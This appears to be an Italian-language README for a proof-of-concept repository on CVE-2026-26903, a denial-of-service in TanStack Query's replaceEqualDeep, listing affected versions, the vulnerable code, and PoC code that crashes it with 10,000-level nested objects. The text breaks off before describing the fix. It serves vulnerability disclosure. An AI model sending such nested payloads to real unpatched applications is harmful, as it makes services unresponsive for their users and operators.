
Una PoC per dimostrare CVE-2026-26903
Denial-of-service tramite ricorsione illimitata nella funzione replaceEqualDeep di TanStack Query
Un singolo aggiornamento di query appositamente progettato con oggetti profondamente annidati può congelare il thread JavaScript a tempo indeterminato, causando la completa mancata risposta dell'applicazione. Non è richiesta alcuna autenticazione né permessi speciali.
Questa vulnerabilità è stata corretta in @tanstack/[email protected] tramite la PR #10032, pubblicata il 14 gennaio 2026.
| Pacchetto | Affetto | Corretto |
|---|---|---|
| @tanstack/query-core | <= 5.90.16 | 5.90.17 |
| @tanstack/react-query | depends on vulnerable query-core | 5.90.18+ |
| @tanstack/vue-query | depends on vulnerable query-core | 5.90.18+ |
| @tanstack/solid-query | depends on vulnerable query-core | 5.90.18+ |
| @tanstack/svelte-query | depends on vulnerable query-core | 6.1.7+ |
CVE-2026-26903: Denial of Service tramite ricorsione illimitata in replaceEqualDeep (Severità: Media)
La funzione
replaceEqualDeepin TanStack Query esegue un confronto ricorsivo di oggetti annidati senza limiti di profondità. Quando elabora strutture dati profondamente annidate, ciò può innescare una ricorsione illimitata che porta a stack overflow e al congelamento dell'applicazione.— Assegnato tramite MITRE
La funzione replaceEqualDeep di TanStack Query viene utilizzata internamente per determinare se i dati di una query sono effettivamente cambiati, ottimizzando i re-render preservando i riferimenti agli oggetti quando possibile. La funzione attraversa ricorsivamente le proprietà degli oggetti per eseguire un confronto di uguaglianza profonda.
L'implementazione ricorsiva manca di limiti di profondità o di rilevamento dei cicli:
function replaceEqualDeep(a, b) {
// ... type checks ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... shallow equality checks ...
// VULNERABLE: Unbounded recursion here
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
replaceEqualDeep con dati profondamente annidatiuseQuery con dati di risposta annidatisetQueryData, invalidateQueries o qualsiasi operazione sulla cache delle queryCVE-2026-26903-PoC/
├── README.md # This file
├── LICENSE
├── poc.js # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html # Browser PoC (interactive visual demo)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
node poc.js
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
open tanstack-query-poc.html
Opzione A: demo HTML autonoma (nessuna dipendenza)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
Opzione B: applicazione React (scenario realistico)
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions
Il PoC genera oggetti profondamente annidati e innesca replaceEqualDeep per elaborarli:
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }
const oldData = generateDeep(10000); // 10,000 levels deep
const newData = generateDeep(10000); // Different object, same structure
// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Level 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Level 2
├── replaceEqualDeep(...) // Level 3
└── ... (continues for 10,000 levels)
Ogni chiamata ricorsiva aggiunge un nuovo frame allo stack finché lo stack delle chiamate del motore JavaScript non si esaurisce, congelando il thread.
Posizione: @tanstack/query-core/src/utils.ts (approssimativa)
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// VULNERABLE: No depth limit or cycle detection
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}
La correzione (applicata nel commit 269351b di TanStack Query) aggiunge un limite di profondità per prevenire la ricorsione illimitata: